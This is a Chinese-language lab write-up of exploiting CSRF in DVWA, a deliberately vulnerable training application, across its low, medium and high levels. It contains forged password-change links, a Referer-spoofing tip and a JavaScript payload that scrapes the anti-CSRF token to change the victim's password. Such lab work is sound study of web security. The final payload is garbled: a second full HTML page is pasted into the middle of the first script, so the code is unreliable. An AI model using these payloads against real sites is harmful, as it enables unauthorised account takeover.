DVWA-csrf实例
low级别
修改密码:修改的密码通过get请求,暴露在url上。
写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html>
<body>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-low
</a>
</body>
</html>
点击"dvwa-csrf-low"文字后,跳转到dvwa的修改密码界面,提示Password changed(密码已修改)。
middle级别
修改密码:修改的密码通过get请求,暴露在url上。
写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html>
<body>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-low
</a>
</br>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-middle
</a>
</body>
</html>
点击"dvwa-csrf-middle"文字后,跳转到dvwa的修改密码界面,提示the request didn’t look correct (请求不正确)。
查看源码发现,会校验http_referer和server_name两个参数不为空。
对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。
成功的请求
失败的请求
利用bp工具,补上referer的参数。
网上另外解法:修改host和referer为localhost或127.0.0.1,其实也是遵循同源策略。
high级别
修改密码:修改的密码通过get请求,暴露在url上,并且带上user_token。
写一个简单的html文件,里面伪装修改密码的文字,代码如下:
<html>
<body>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-low
</a>
</br>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-middle
</a>
</br>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change&user_token=96f6243c53766d30d5e51cf92c15f9a3#">
dvwa-csrf-high
</a>
</body>
</html>
点击"dvwa-csrf-high"文字后,跳转到dvwa的修改密码界面,提示csrf token is incorrect (csrf的token错误)。
对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。
成功的请求
失败的请求
利用bp工具,补上referer的参数。结果还是失败。因此查看源码,#1这行有进行token的校验。#2这行进行token生成,大致可以分析出token生成后一次性校验,跟验证码同理。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token #1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token #2
generateSessionToken();
?>
基于分析出的结论,要构建一个新请求,先调用#2,再调用修改密码的请求,此时为了避免跨域问题。将写好的html直接放到dvwa下。
<html>
<body>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-low
</a>
</br>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-middle
</a>
</br>
<a href="javascript:void(0);" onclick="initJS()">
dvwa-csrf-high
</a>
</body>
<script >
function initJS(){
alert(document.cookie);
var theUrl = 'http://dvwa:7001/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = false;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://dvwa:7001/vulnerabilities/csrf/?user_token='+token+'&password_new=1&password_conf=1&Change=Change';
if(count==0){
<html>
<body>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-low
</a>
</br>
<a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
dvwa-csrf-middle
</a>
</br>
<a href="javascript:void(0);" onclick="initJS()">
dvwa-csrf-high
</a>
</body>
<script >
function initJS(){
var theUrl = 'http://dvwa:7001/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = false;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://dvwa:7001/vulnerabilities/csrf/?user_token='+token+'&password_new=1&password_conf=1&Change=Change';
if(count==0){
count++;//此代码用于只执行一次修改密码
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
}
</script>
</html>
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
}
</script>
</html>
用新密码可以成功登录,通关结束。